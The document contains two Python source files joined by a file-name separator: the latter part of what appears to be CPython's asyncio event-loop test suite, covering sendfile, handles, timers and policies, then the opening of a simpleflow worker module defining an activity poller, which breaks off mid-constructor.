self.run_loop(srv_proto.done)
self.run_loop(cli_proto.done)
server.close()
self.run_loop(server.wait_closed())
self.addCleanup(cleanup)
return srv_proto, cli_proto
@unittest.skipIf(sys.platform == 'win32', "UDP sockets are not supported")
def test_sendfile_not_supported(self):
tr, pr = self.run_loop(
self.loop.create_datagram_endpoint(
lambda: MyDatagramProto(loop=self.loop),
family=socket.AF_INET))
try:
with self.assertRaisesRegex(RuntimeError, "not supported"):
self.run_loop(
self.loop.sendfile(tr, self.file))
self.assertEqual(0, self.file.tell())
finally:
# don't use self.addCleanup because it produces resource warning
tr.close()
def test_sendfile(self):
srv_proto, cli_proto = self.prepare_sendfile()
ret = self.run_loop(
self.loop.sendfile(cli_proto.transport, self.file))
cli_proto.transport.close()
self.run_loop(srv_proto.done)
self.assertEqual(ret, len(self.DATA))
self.assertEqual(srv_proto.nbytes, len(self.DATA))
self.assertEqual(srv_proto.data, self.DATA)
self.assertEqual(self.file.tell(), len(self.DATA))
def test_sendfile_force_fallback(self):
srv_proto, cli_proto = self.prepare_sendfile()
def sendfile_native(transp, file, offset, count):
# to raise SendfileNotAvailableError
return base_events.BaseEventLoop._sendfile_native(
self.loop, transp, file, offset, count)
self.loop._sendfile_native = sendfile_native
ret = self.run_loop(
self.loop.sendfile(cli_proto.transport, self.file))
cli_proto.transport.close()
self.run_loop(srv_proto.done)
self.assertEqual(ret, len(self.DATA))
self.assertEqual(srv_proto.nbytes, len(self.DATA))
self.assertEqual(srv_proto.data, self.DATA)
self.assertEqual(self.file.tell(), len(self.DATA))
def test_sendfile_force_unsupported_native(self):
if sys.platform == 'win32':
if isinstance(self.loop, asyncio.ProactorEventLoop):
self.skipTest("Fails on proactor event loop")
srv_proto, cli_proto = self.prepare_sendfile()
def sendfile_native(transp, file, offset, count):
# to raise SendfileNotAvailableError
return base_events.BaseEventLoop._sendfile_native(
self.loop, transp, file, offset, count)
self.loop._sendfile_native = sendfile_native
with self.assertRaisesRegex(events.SendfileNotAvailableError,
"not supported"):
self.run_loop(
self.loop.sendfile(cli_proto.transport, self.file,
fallback=False))
cli_proto.transport.close()
self.run_loop(srv_proto.done)
self.assertEqual(srv_proto.nbytes, 0)
self.assertEqual(self.file.tell(), 0)
def test_sendfile_ssl(self):
srv_proto, cli_proto = self.prepare_sendfile(is_ssl=True)
ret = self.run_loop(
self.loop.sendfile(cli_proto.transport, self.file))
cli_proto.transport.close()
self.run_loop(srv_proto.done)
self.assertEqual(ret, len(self.DATA))
self.assertEqual(srv_proto.nbytes, len(self.DATA))
self.assertEqual(srv_proto.data, self.DATA)
self.assertEqual(self.file.tell(), len(self.DATA))
def test_sendfile_for_closing_transp(self):
srv_proto, cli_proto = self.prepare_sendfile()
cli_proto.transport.close()
with self.assertRaisesRegex(RuntimeError, "is closing"):
self.run_loop(self.loop.sendfile(cli_proto.transport, self.file))
self.run_loop(srv_proto.done)
self.assertEqual(srv_proto.nbytes, 0)
self.assertEqual(self.file.tell(), 0)
def test_sendfile_pre_and_post_data(self):
srv_proto, cli_proto = self.prepare_sendfile()
PREFIX = b'PREFIX__' * 1024 # 8 KiB
SUFFIX = b'--SUFFIX' * 1024 # 8 KiB
cli_proto.transport.write(PREFIX)
ret = self.run_loop(
self.loop.sendfile(cli_proto.transport, self.file))
cli_proto.transport.write(SUFFIX)
cli_proto.transport.close()
self.run_loop(srv_proto.done)
self.assertEqual(ret, len(self.DATA))
self.assertEqual(srv_proto.data, PREFIX + self.DATA + SUFFIX)
self.assertEqual(self.file.tell(), len(self.DATA))
def test_sendfile_ssl_pre_and_post_data(self):
srv_proto, cli_proto = self.prepare_sendfile(is_ssl=True)
PREFIX = b'zxcvbnm' * 1024
SUFFIX = b'0987654321' * 1024
cli_proto.transport.write(PREFIX)
ret = self.run_loop(
self.loop.sendfile(cli_proto.transport, self.file))
cli_proto.transport.write(SUFFIX)
cli_proto.transport.close()
self.run_loop(srv_proto.done)
self.assertEqual(ret, len(self.DATA))
self.assertEqual(srv_proto.data, PREFIX + self.DATA + SUFFIX)
self.assertEqual(self.file.tell(), len(self.DATA))
def test_sendfile_partial(self):
srv_proto, cli_proto = self.prepare_sendfile()
ret = self.run_loop(
self.loop.sendfile(cli_proto.transport, self.file, 1000, 100))
cli_proto.transport.close()
self.run_loop(srv_proto.done)
self.assertEqual(ret, 100)
self.assertEqual(srv_proto.nbytes, 100)
self.assertEqual(srv_proto.data, self.DATA[1000:1100])
self.assertEqual(self.file.tell(), 1100)
def test_sendfile_ssl_partial(self):
srv_proto, cli_proto = self.prepare_sendfile(is_ssl=True)
ret = self.run_loop(
self.loop.sendfile(cli_proto.transport, self.file, 1000, 100))
cli_proto.transport.close()
self.run_loop(srv_proto.done)
self.assertEqual(ret, 100)
self.assertEqual(srv_proto.nbytes, 100)
self.assertEqual(srv_proto.data, self.DATA[1000:1100])
self.assertEqual(self.file.tell(), 1100)
def test_sendfile_close_peer_after_receiving(self):
srv_proto, cli_proto = self.prepare_sendfile(
close_after=len(self.DATA))
ret = self.run_loop(
self.loop.sendfile(cli_proto.transport, self.file))
cli_proto.transport.close()
self.run_loop(srv_proto.done)
self.assertEqual(ret, len(self.DATA))
self.assertEqual(srv_proto.nbytes, len(self.DATA))
self.assertEqual(srv_proto.data, self.DATA)
self.assertEqual(self.file.tell(), len(self.DATA))
def test_sendfile_ssl_close_peer_after_receiving(self):
srv_proto, cli_proto = self.prepare_sendfile(
is_ssl=True, close_after=len(self.DATA))
ret = self.run_loop(
self.loop.sendfile(cli_proto.transport, self.file))
self.run_loop(srv_proto.done)
self.assertEqual(ret, len(self.DATA))
self.assertEqual(srv_proto.nbytes, len(self.DATA))
self.assertEqual(srv_proto.data, self.DATA)
self.assertEqual(self.file.tell(), len(self.DATA))
def test_sendfile_close_peer_in_the_middle_of_receiving(self):
srv_proto, cli_proto = self.prepare_sendfile(close_after=1024)
with self.assertRaises(ConnectionError):
self.run_loop(
self.loop.sendfile(cli_proto.transport, self.file))
self.run_loop(srv_proto.done)
self.assertTrue(1024 <= srv_proto.nbytes < len(self.DATA),
srv_proto.nbytes)
self.assertTrue(1024 <= self.file.tell() < len(self.DATA),
self.file.tell())
self.assertTrue(cli_proto.transport.is_closing())
def test_sendfile_fallback_close_peer_in_the_middle_of_receiving(self):
def sendfile_native(transp, file, offset, count):
# to raise SendfileNotAvailableError
return base_events.BaseEventLoop._sendfile_native(
self.loop, transp, file, offset, count)
self.loop._sendfile_native = sendfile_native
srv_proto, cli_proto = self.prepare_sendfile(close_after=1024)
with self.assertRaises(ConnectionError):
self.run_loop(
self.loop.sendfile(cli_proto.transport, self.file))
self.run_loop(srv_proto.done)
self.assertTrue(1024 <= srv_proto.nbytes < len(self.DATA),
srv_proto.nbytes)
self.assertTrue(1024 <= self.file.tell() < len(self.DATA),
self.file.tell())
@unittest.skipIf(not hasattr(os, 'sendfile'),
"Don't have native sendfile support")
def test_sendfile_prevents_bare_write(self):
srv_proto, cli_proto = self.prepare_sendfile()
fut = self.loop.create_future()
async def coro():
fut.set_result(None)
return await self.loop.sendfile(cli_proto.transport, self.file)
t = self.loop.create_task(coro())
self.run_loop(fut)
with self.assertRaisesRegex(RuntimeError,
"sendfile is in progress"):
cli_proto.transport.write(b'data')
ret = self.run_loop(t)
self.assertEqual(ret, len(self.DATA))
def test_sendfile_no_fallback_for_fallback_transport(self):
transport = mock.Mock()
transport.is_closing.side_effect = lambda: False
transport._sendfile_compatible = constants._SendfileMode.FALLBACK
with self.assertRaisesRegex(RuntimeError, 'fallback is disabled'):
self.loop.run_until_complete(
self.loop.sendfile(transport, None, fallback=False))
if sys.platform == 'win32':
class SelectEventLoopTests(EventLoopTestsMixin,
SendfileMixin,
SockSendfileMixin,
test_utils.TestCase):
def create_event_loop(self):
return asyncio.SelectorEventLoop()
class ProactorEventLoopTests(EventLoopTestsMixin,
SendfileMixin,
SockSendfileMixin,
SubprocessTestsMixin,
test_utils.TestCase):
def create_event_loop(self):
return asyncio.ProactorEventLoop()
def test_reader_callback(self):
raise unittest.SkipTest("IocpEventLoop does not have add_reader()")
def test_reader_callback_cancel(self):
raise unittest.SkipTest("IocpEventLoop does not have add_reader()")
def test_writer_callback(self):
raise unittest.SkipTest("IocpEventLoop does not have add_writer()")
def test_writer_callback_cancel(self):
raise unittest.SkipTest("IocpEventLoop does not have add_writer()")
def test_create_datagram_endpoint(self):
raise unittest.SkipTest(
"IocpEventLoop does not have create_datagram_endpoint()")
def test_remove_fds_after_closing(self):
raise unittest.SkipTest("IocpEventLoop does not have add_reader()")
else:
import selectors
class UnixEventLoopTestsMixin(EventLoopTestsMixin,
SendfileMixin,
SockSendfileMixin):
def setUp(self):
super().setUp()
watcher = asyncio.SafeChildWatcher()
watcher.attach_loop(self.loop)
asyncio.set_child_watcher(watcher)
def tearDown(self):
asyncio.set_child_watcher(None)
super().tearDown()
if hasattr(selectors, 'KqueueSelector'):
class KqueueEventLoopTests(UnixEventLoopTestsMixin,
SubprocessTestsMixin,
test_utils.TestCase):
def create_event_loop(self):
return asyncio.SelectorEventLoop(
selectors.KqueueSelector())
# kqueue doesn't support character devices (PTY) on Mac OS X older
# than 10.9 (Maverick)
@support.requires_mac_ver(10, 9)
# Issue #20667: KqueueEventLoopTests.test_read_pty_output()
# hangs on OpenBSD 5.5
@unittest.skipIf(sys.platform.startswith('openbsd'),
'test hangs on OpenBSD')
def test_read_pty_output(self):
super().test_read_pty_output()
# kqueue doesn't support character devices (PTY) on Mac OS X older
# than 10.9 (Maverick)
@support.requires_mac_ver(10, 9)
def test_write_pty(self):
super().test_write_pty()
if hasattr(selectors, 'EpollSelector'):
class EPollEventLoopTests(UnixEventLoopTestsMixin,
SubprocessTestsMixin,
test_utils.TestCase):
def create_event_loop(self):
return asyncio.SelectorEventLoop(selectors.EpollSelector())
if hasattr(selectors, 'PollSelector'):
class PollEventLoopTests(UnixEventLoopTestsMixin,
SubprocessTestsMixin,
test_utils.TestCase):
def create_event_loop(self):
return asyncio.SelectorEventLoop(selectors.PollSelector())
# Should always exist.
class SelectEventLoopTests(UnixEventLoopTestsMixin,
SubprocessTestsMixin,
test_utils.TestCase):
def create_event_loop(self):
return asyncio.SelectorEventLoop(selectors.SelectSelector())
def noop(*args, **kwargs):
pass
class HandleTests(test_utils.TestCase):
def setUp(self):
super().setUp()
self.loop = mock.Mock()
self.loop.get_debug.return_value = True
def test_handle(self):
def callback(*args):
return args
args = ()
h = asyncio.Handle(callback, args, self.loop)
self.assertIs(h._callback, callback)
self.assertIs(h._args, args)
self.assertFalse(h.cancelled())
h.cancel()
self.assertTrue(h.cancelled())
def test_callback_with_exception(self):
def callback():
raise ValueError()
self.loop = mock.Mock()
self.loop.call_exception_handler = mock.Mock()
h = asyncio.Handle(callback, (), self.loop)
h._run()
self.loop.call_exception_handler.assert_called_with({
'message': test_utils.MockPattern('Exception in callback.*'),
'exception': mock.ANY,
'handle': h,
'source_traceback': h._source_traceback,
})
def test_handle_weakref(self):
wd = weakref.WeakValueDictionary()
h = asyncio.Handle(lambda: None, (), self.loop)
wd['h'] = h # Would fail without __weakref__ slot.
def test_handle_repr(self):
self.loop.get_debug.return_value = False
# simple function
h = asyncio.Handle(noop, (1, 2), self.loop)
filename, lineno = test_utils.get_function_source(noop)
self.assertEqual(repr(h),
'<Handle noop(1, 2) at %s:%s>'
% (filename, lineno))
# cancelled handle
h.cancel()
self.assertEqual(repr(h),
'<Handle cancelled>')
# decorated function
cb = asyncio.coroutine(noop)
h = asyncio.Handle(cb, (), self.loop)
self.assertEqual(repr(h),
'<Handle noop() at %s:%s>'
% (filename, lineno))
# partial function
cb = functools.partial(noop, 1, 2)
h = asyncio.Handle(cb, (3,), self.loop)
regex = (r'^<Handle noop\(1, 2\)\(3\) at %s:%s>$'
% (re.escape(filename), lineno))
self.assertRegex(repr(h), regex)
# partial function with keyword args
cb = functools.partial(noop, x=1)
h = asyncio.Handle(cb, (2, 3), self.loop)
regex = (r'^<Handle noop\(x=1\)\(2, 3\) at %s:%s>$'
% (re.escape(filename), lineno))
self.assertRegex(repr(h), regex)
# partial method
if sys.version_info >= (3, 4):
method = HandleTests.test_handle_repr
cb = functools.partialmethod(method)
filename, lineno = test_utils.get_function_source(method)
h = asyncio.Handle(cb, (), self.loop)
cb_regex = r'<function HandleTests.test_handle_repr .*>'
cb_regex = (r'functools.partialmethod\(%s, , \)\(\)' % cb_regex)
regex = (r'^<Handle %s at %s:%s>$'
% (cb_regex, re.escape(filename), lineno))
self.assertRegex(repr(h), regex)
def test_handle_repr_debug(self):
self.loop.get_debug.return_value = True
# simple function
create_filename = __file__
create_lineno = sys._getframe().f_lineno + 1
h = asyncio.Handle(noop, (1, 2), self.loop)
filename, lineno = test_utils.get_function_source(noop)
self.assertEqual(repr(h),
'<Handle noop(1, 2) at %s:%s created at %s:%s>'
% (filename, lineno, create_filename, create_lineno))
# cancelled handle
h.cancel()
self.assertEqual(
repr(h),
'<Handle cancelled noop(1, 2) at %s:%s created at %s:%s>'
% (filename, lineno, create_filename, create_lineno))
# double cancellation won't overwrite _repr
h.cancel()
self.assertEqual(
repr(h),
'<Handle cancelled noop(1, 2) at %s:%s created at %s:%s>'
% (filename, lineno, create_filename, create_lineno))
def test_handle_source_traceback(self):
loop = asyncio.get_event_loop_policy().new_event_loop()
loop.set_debug(True)
self.set_event_loop(loop)
def check_source_traceback(h):
lineno = sys._getframe(1).f_lineno - 1
self.assertIsInstance(h._source_traceback, list)
self.assertEqual(h._source_traceback[-1][:3],
(__file__,
lineno,
'test_handle_source_traceback'))
# call_soon
h = loop.call_soon(noop)
check_source_traceback(h)
# call_soon_threadsafe
h = loop.call_soon_threadsafe(noop)
check_source_traceback(h)
# call_later
h = loop.call_later(0, noop)
check_source_traceback(h)
# call_at
h = loop.call_later(0, noop)
check_source_traceback(h)
@unittest.skipUnless(hasattr(collections.abc, 'Coroutine'),
'No collections.abc.Coroutine')
def test_coroutine_like_object_debug_formatting(self):
# Test that asyncio can format coroutines that are instances of
# collections.abc.Coroutine, but lack cr_core or gi_code attributes
# (such as ones compiled with Cython).
coro = CoroLike()
coro.__name__ = 'AAA'
self.assertTrue(asyncio.iscoroutine(coro))
self.assertEqual(coroutines._format_coroutine(coro), 'AAA()')
coro.__qualname__ = 'BBB'
self.assertEqual(coroutines._format_coroutine(coro), 'BBB()')
coro.cr_running = True
self.assertEqual(coroutines._format_coroutine(coro), 'BBB() running')
coro.__name__ = coro.__qualname__ = None
self.assertEqual(coroutines._format_coroutine(coro),
'<CoroLike without __name__>() running')
coro = CoroLike()
coro.__qualname__ = 'CoroLike'
# Some coroutines might not have '__name__', such as
# built-in async_gen.asend().
self.assertEqual(coroutines._format_coroutine(coro), 'CoroLike()')
coro = CoroLike()
coro.__qualname__ = 'AAA'
coro.cr_code = None
self.assertEqual(coroutines._format_coroutine(coro), 'AAA()')
class TimerTests(unittest.TestCase):
def setUp(self):
super().setUp()
self.loop = mock.Mock()
def test_hash(self):
when = time.monotonic()
h = asyncio.TimerHandle(when, lambda: False, (),
mock.Mock())
self.assertEqual(hash(h), hash(when))
def test_when(self):
when = time.monotonic()
h = asyncio.TimerHandle(when, lambda: False, (),
mock.Mock())
self.assertEqual(when, h.when())
def test_timer(self):
def callback(*args):
return args
args = (1, 2, 3)
when = time.monotonic()
h = asyncio.TimerHandle(when, callback, args, mock.Mock())
self.assertIs(h._callback, callback)
self.assertIs(h._args, args)
self.assertFalse(h.cancelled())
# cancel
h.cancel()
self.assertTrue(h.cancelled())
self.assertIsNone(h._callback)
self.assertIsNone(h._args)
# when cannot be None
self.assertRaises(AssertionError,
asyncio.TimerHandle, None, callback, args,
self.loop)
def test_timer_repr(self):
self.loop.get_debug.return_value = False
# simple function
h = asyncio.TimerHandle(123, noop, (), self.loop)
src = test_utils.get_function_source(noop)
self.assertEqual(repr(h),
'<TimerHandle when=123 noop() at %s:%s>' % src)
# cancelled handle
h.cancel()
self.assertEqual(repr(h),
'<TimerHandle cancelled when=123>')
def test_timer_repr_debug(self):
self.loop.get_debug.return_value = True
# simple function
create_filename = __file__
create_lineno = sys._getframe().f_lineno + 1
h = asyncio.TimerHandle(123, noop, (), self.loop)
filename, lineno = test_utils.get_function_source(noop)
self.assertEqual(repr(h),
'<TimerHandle when=123 noop() '
'at %s:%s created at %s:%s>'
% (filename, lineno, create_filename, create_lineno))
# cancelled handle
h.cancel()
self.assertEqual(repr(h),
'<TimerHandle cancelled when=123 noop() '
'at %s:%s created at %s:%s>'
% (filename, lineno, create_filename, create_lineno))
def test_timer_comparison(self):
def callback(*args):
return args
when = time.monotonic()
h1 = asyncio.TimerHandle(when, callback, (), self.loop)
h2 = asyncio.TimerHandle(when, callback, (), self.loop)
# TODO: Use assertLess etc.
self.assertFalse(h1 < h2)
self.assertFalse(h2 < h1)
self.assertTrue(h1 <= h2)
self.assertTrue(h2 <= h1)
self.assertFalse(h1 > h2)
self.assertFalse(h2 > h1)
self.assertTrue(h1 >= h2)
self.assertTrue(h2 >= h1)
self.assertTrue(h1 == h2)
self.assertFalse(h1 != h2)
h2.cancel()
self.assertFalse(h1 == h2)
h1 = asyncio.TimerHandle(when, callback, (), self.loop)
h2 = asyncio.TimerHandle(when + 10.0, callback, (), self.loop)
self.assertTrue(h1 < h2)
self.assertFalse(h2 < h1)
self.assertTrue(h1 <= h2)
self.assertFalse(h2 <= h1)
self.assertFalse(h1 > h2)
self.assertTrue(h2 > h1)
self.assertFalse(h1 >= h2)
self.assertTrue(h2 >= h1)
self.assertFalse(h1 == h2)
self.assertTrue(h1 != h2)
h3 = asyncio.Handle(callback, (), self.loop)
self.assertIs(NotImplemented, h1.__eq__(h3))
self.assertIs(NotImplemented, h1.__ne__(h3))
class AbstractEventLoopTests(unittest.TestCase):
def test_not_implemented(self):
f = mock.Mock()
loop = asyncio.AbstractEventLoop()
self.assertRaises(
NotImplementedError, loop.run_forever)
self.assertRaises(
NotImplementedError, loop.run_until_complete, None)
self.assertRaises(
NotImplementedError, loop.stop)
self.assertRaises(
NotImplementedError, loop.is_running)
self.assertRaises(
NotImplementedError, loop.is_closed)
self.assertRaises(
NotImplementedError, loop.close)
self.assertRaises(
NotImplementedError, loop.create_task, None)
self.assertRaises(
NotImplementedError, loop.call_later, None, None)
self.assertRaises(
NotImplementedError, loop.call_at, f, f)
self.assertRaises(
NotImplementedError, loop.call_soon, None)
self.assertRaises(
NotImplementedError, loop.time)
self.assertRaises(
NotImplementedError, loop.call_soon_threadsafe, None)
self.assertRaises(
NotImplementedError, loop.set_default_executor, f)
self.assertRaises(
NotImplementedError, loop.add_reader, 1, f)
self.assertRaises(
NotImplementedError, loop.remove_reader, 1)
self.assertRaises(
NotImplementedError, loop.add_writer, 1, f)
self.assertRaises(
NotImplementedError, loop.remove_writer, 1)
self.assertRaises(
NotImplementedError, loop.add_signal_handler, 1, f)
self.assertRaises(
NotImplementedError, loop.remove_signal_handler, 1)
self.assertRaises(
NotImplementedError, loop.remove_signal_handler, 1)
self.assertRaises(
NotImplementedError, loop.set_exception_handler, f)
self.assertRaises(
NotImplementedError, loop.default_exception_handler, f)
self.assertRaises(
NotImplementedError, loop.call_exception_handler, f)
self.assertRaises(
NotImplementedError, loop.get_debug)
self.assertRaises(
NotImplementedError, loop.set_debug, f)
def test_not_implemented_async(self):
async def inner():
f = mock.Mock()
loop = asyncio.AbstractEventLoop()
with self.assertRaises(NotImplementedError):
await loop.run_in_executor(f, f)
with self.assertRaises(NotImplementedError):
await loop.getaddrinfo('localhost', 8080)
with self.assertRaises(NotImplementedError):
await loop.getnameinfo(('localhost', 8080))
with self.assertRaises(NotImplementedError):
await loop.create_connection(f)
with self.assertRaises(NotImplementedError):
await loop.create_server(f)
with self.assertRaises(NotImplementedError):
await loop.create_datagram_endpoint(f)
with self.assertRaises(NotImplementedError):
await loop.sock_recv(f, 10)
with self.assertRaises(NotImplementedError):
await loop.sock_recv_into(f, 10)
with self.assertRaises(NotImplementedError):
await loop.sock_sendall(f, 10)
with self.assertRaises(NotImplementedError):
await loop.sock_connect(f, f)
with self.assertRaises(NotImplementedError):
await loop.sock_accept(f)
with self.assertRaises(NotImplementedError):
await loop.sock_sendfile(f, f)
with self.assertRaises(NotImplementedError):
await loop.sendfile(f, f)
with self.assertRaises(NotImplementedError):
await loop.connect_read_pipe(f, mock.sentinel.pipe)
with self.assertRaises(NotImplementedError):
await loop.connect_write_pipe(f, mock.sentinel.pipe)
with self.assertRaises(NotImplementedError):
await loop.subprocess_shell(f, mock.sentinel)
with self.assertRaises(NotImplementedError):
await loop.subprocess_exec(f)
loop = asyncio.new_event_loop()
loop.run_until_complete(inner())
loop.close()
class ProtocolsAbsTests(unittest.TestCase):
def test_empty(self):
f = mock.Mock()
p = asyncio.Protocol()
self.assertIsNone(p.connection_made(f))
self.assertIsNone(p.connection_lost(f))
self.assertIsNone(p.data_received(f))
self.assertIsNone(p.eof_received())
dp = asyncio.DatagramProtocol()
self.assertIsNone(dp.connection_made(f))
self.assertIsNone(dp.connection_lost(f))
self.assertIsNone(dp.error_received(f))
self.assertIsNone(dp.datagram_received(f, f))
sp = asyncio.SubprocessProtocol()
self.assertIsNone(sp.connection_made(f))
self.assertIsNone(sp.connection_lost(f))
self.assertIsNone(sp.pipe_data_received(1, f))
self.assertIsNone(sp.pipe_connection_lost(1, f))
self.assertIsNone(sp.process_exited())
class PolicyTests(unittest.TestCase):
def test_event_loop_policy(self):
policy = asyncio.AbstractEventLoopPolicy()
self.assertRaises(NotImplementedError, policy.get_event_loop)
self.assertRaises(NotImplementedError, policy.set_event_loop, object())
self.assertRaises(NotImplementedError, policy.new_event_loop)
self.assertRaises(NotImplementedError, policy.get_child_watcher)
self.assertRaises(NotImplementedError, policy.set_child_watcher,
object())
def test_get_event_loop(self):
policy = asyncio.DefaultEventLoopPolicy()
self.assertIsNone(policy._local._loop)
loop = policy.get_event_loop()
self.assertIsInstance(loop, asyncio.AbstractEventLoop)
self.assertIs(policy._local._loop, loop)
self.assertIs(loop, policy.get_event_loop())
loop.close()
def test_get_event_loop_calls_set_event_loop(self):
policy = asyncio.DefaultEventLoopPolicy()
with mock.patch.object(
policy, "set_event_loop",
wraps=policy.set_event_loop) as m_set_event_loop:
loop = policy.get_event_loop()
# policy._local._loop must be set through .set_event_loop()
# (the unix DefaultEventLoopPolicy needs this call to attach
# the child watcher correctly)
m_set_event_loop.assert_called_with(loop)
loop.close()
def test_get_event_loop_after_set_none(self):
policy = asyncio.DefaultEventLoopPolicy()
policy.set_event_loop(None)
self.assertRaises(RuntimeError, policy.get_event_loop)
@mock.patch('asyncio.events.threading.current_thread')
def test_get_event_loop_thread(self, m_current_thread):
def f():
policy = asyncio.DefaultEventLoopPolicy()
self.assertRaises(RuntimeError, policy.get_event_loop)
th = threading.Thread(target=f)
th.start()
th.join()
def test_new_event_loop(self):
policy = asyncio.DefaultEventLoopPolicy()
loop = policy.new_event_loop()
self.assertIsInstance(loop, asyncio.AbstractEventLoop)
loop.close()
def test_set_event_loop(self):
policy = asyncio.DefaultEventLoopPolicy()
old_loop = policy.get_event_loop()
self.assertRaises(AssertionError, policy.set_event_loop, object())
loop = policy.new_event_loop()
policy.set_event_loop(loop)
self.assertIs(loop, policy.get_event_loop())
self.assertIsNot(old_loop, policy.get_event_loop())
loop.close()
old_loop.close()
def test_get_event_loop_policy(self):
policy = asyncio.get_event_loop_policy()
self.assertIsInstance(policy, asyncio.AbstractEventLoopPolicy)
self.assertIs(policy, asyncio.get_event_loop_policy())
def test_set_event_loop_policy(self):
self.assertRaises(
AssertionError, asyncio.set_event_loop_policy, object())
old_policy = asyncio.get_event_loop_policy()
policy = asyncio.DefaultEventLoopPolicy()
asyncio.set_event_loop_policy(policy)
self.assertIs(policy, asyncio.get_event_loop_policy())
self.assertIsNot(policy, old_policy)
class GetEventLoopTestsMixin:
_get_running_loop_impl = None
_set_running_loop_impl = None
get_running_loop_impl = None
get_event_loop_impl = None
def setUp(self):
self._get_running_loop_saved = events._get_running_loop
self._set_running_loop_saved = events._set_running_loop
self.get_running_loop_saved = events.get_running_loop
self.get_event_loop_saved = events.get_event_loop
events._get_running_loop = type(self)._get_running_loop_impl
events._set_running_loop = type(self)._set_running_loop_impl
events.get_running_loop = type(self).get_running_loop_impl
events.get_event_loop = type(self).get_event_loop_impl
asyncio._get_running_loop = type(self)._get_running_loop_impl
asyncio._set_running_loop = type(self)._set_running_loop_impl
asyncio.get_running_loop = type(self).get_running_loop_impl
asyncio.get_event_loop = type(self).get_event_loop_impl
super().setUp()
self.loop = asyncio.new_event_loop()
asyncio.set_event_loop(self.loop)
if sys.platform != 'win32':
watcher = asyncio.SafeChildWatcher()
watcher.attach_loop(self.loop)
asyncio.set_child_watcher(watcher)
def tearDown(self):
try:
if sys.platform != 'win32':
asyncio.set_child_watcher(None)
super().tearDown()
finally:
self.loop.close()
asyncio.set_event_loop(None)
events._get_running_loop = self._get_running_loop_saved
events._set_running_loop = self._set_running_loop_saved
events.get_running_loop = self.get_running_loop_saved
events.get_event_loop = self.get_event_loop_saved
asyncio._get_running_loop = self._get_running_loop_saved
asyncio._set_running_loop = self._set_running_loop_saved
asyncio.get_running_loop = self.get_running_loop_saved
asyncio.get_event_loop = self.get_event_loop_saved
if sys.platform != 'win32':
def test_get_event_loop_new_process(self):
# Issue bpo-32126: The multiprocessing module used by
# ProcessPoolExecutor is not functional when the
# multiprocessing.synchronize module cannot be imported.
support.import_module('multiprocessing.synchronize')
async def main():
pool = concurrent.futures.ProcessPoolExecutor()
result = await self.loop.run_in_executor(
pool, _test_get_event_loop_new_process__sub_proc)
pool.shutdown()
return result
self.assertEqual(
self.loop.run_until_complete(main()),
'hello')
def test_get_event_loop_returns_running_loop(self):
class TestError(Exception):
pass
class Policy(asyncio.DefaultEventLoopPolicy):
def get_event_loop(self):
raise TestError
old_policy = asyncio.get_event_loop_policy()
try:
asyncio.set_event_loop_policy(Policy())
loop = asyncio.new_event_loop()
with self.assertRaises(TestError):
asyncio.get_event_loop()
asyncio.set_event_loop(None)
with self.assertRaises(TestError):
asyncio.get_event_loop()
with self.assertRaisesRegex(RuntimeError, 'no running'):
self.assertIs(asyncio.get_running_loop(), None)
self.assertIs(asyncio._get_running_loop(), None)
async def func():
self.assertIs(asyncio.get_event_loop(), loop)
self.assertIs(asyncio.get_running_loop(), loop)
self.assertIs(asyncio._get_running_loop(), loop)
loop.run_until_complete(func())
asyncio.set_event_loop(loop)
with self.assertRaises(TestError):
asyncio.get_event_loop()
asyncio.set_event_loop(None)
with self.assertRaises(TestError):
asyncio.get_event_loop()
finally:
asyncio.set_event_loop_policy(old_policy)
if loop is not None:
loop.close()
with self.assertRaisesRegex(RuntimeError, 'no running'):
self.assertIs(asyncio.get_running_loop(), None)
self.assertIs(asyncio._get_running_loop(), None)
class TestPyGetEventLoop(GetEventLoopTestsMixin, unittest.TestCase):
_get_running_loop_impl = events._py__get_running_loop
_set_running_loop_impl = events._py__set_running_loop
get_running_loop_impl = events._py_get_running_loop
get_event_loop_impl = events._py_get_event_loop
try:
import _asyncio # NoQA
except ImportError:
pass
else:
class TestCGetEventLoop(GetEventLoopTestsMixin, unittest.TestCase):
_get_running_loop_impl = events._c__get_running_loop
_set_running_loop_impl = events._c__set_running_loop
get_running_loop_impl = events._c_get_running_loop
get_event_loop_impl = events._c_get_event_loop
class TestServer(unittest.TestCase):
def test_get_loop(self):
loop = asyncio.new_event_loop()
self.addCleanup(loop.close)
proto = MyProto(loop)
server = loop.run_until_complete(loop.create_server(lambda: proto, '0.0.0.0', 0))
self.assertEqual(server.get_loop(), loop)
server.close()
loop.run_until_complete(server.wait_closed())
class TestAbstractServer(unittest.TestCase):
def test_close(self):
with self.assertRaises(NotImplementedError):
events.AbstractServer().close()
def test_wait_closed(self):
loop = asyncio.new_event_loop()
self.addCleanup(loop.close)
with self.assertRaises(NotImplementedError):
loop.run_until_complete(events.AbstractServer().wait_closed())
def test_get_loop(self):
with self.assertRaises(NotImplementedError):
events.AbstractServer().get_loop()
if __name__ == '__main__':
unittest.main()
|
base.py
|
import json
import multiprocessing
import os
import sys
import traceback
import uuid
from base64 import b64decode
import psutil
import swf.actors
import swf.exceptions
from simpleflow import format, logger, settings
from simpleflow.dispatch import dynamic_dispatcher
from simpleflow.download import download_binaries
from simpleflow.exceptions import ExecutionError
from simpleflow.job import KubernetesJob
from simpleflow.process import Supervisor, with_state
from simpleflow.swf.constants import VALID_PROCESS_MODES
from simpleflow.swf.process import Poller
from simpleflow.swf.task import ActivityTask
from simpleflow.swf.utils import sanitize_activity_context
from simpleflow.utils import format_exc, format_exc_type, json_dumps, to_k8s_identifier
from swf.models import ActivityTask as BaseActivityTask
from swf.responses import Response
class Worker(Supervisor):
def __init__(self, poller, nb_children=None):
self._poller = poller
super(Worker, self).__init__(
payload=self._poller.start, nb_children=nb_children,
)
class ActivityPoller(Poller, swf.actors.ActivityWorker):
"""
Polls an activity and handles it in the worker.
"""
def __init__(
self,
domain,
task_list,
middlewares=None,
heartbeat=60,
process_mode=None,
poll_data=None,
):
"""
:param domain:
:type domain:
:param task_list:
:type task_list:
:param middlewares: Paths to middleware functions to execute before and after any Activity
:type middlewares: Optional[Dict[str, str]]
:param heartbeat:
:type heartbeat:
:param process_mode: Whether to process locally (default) or spawn a Kubernetes job.
:type process_mode: Optional[str]
"""
self.nb_retries = 3
# heartbeat=0 is a special value to disable heartbeating. We want to
# replace it by None because multiprocessing.Process.join() treats
# this as "no timeout"
self._heartbeat = heartbeat or None
self.middlewares = middlewares
self.process_mode = process_mode or "local"
assert (
self.process_mode in VALID_PROCESS_MODES
), 'invalid process_mode "{}"'.format(self.process_mode)
self.poll_data = poll_data
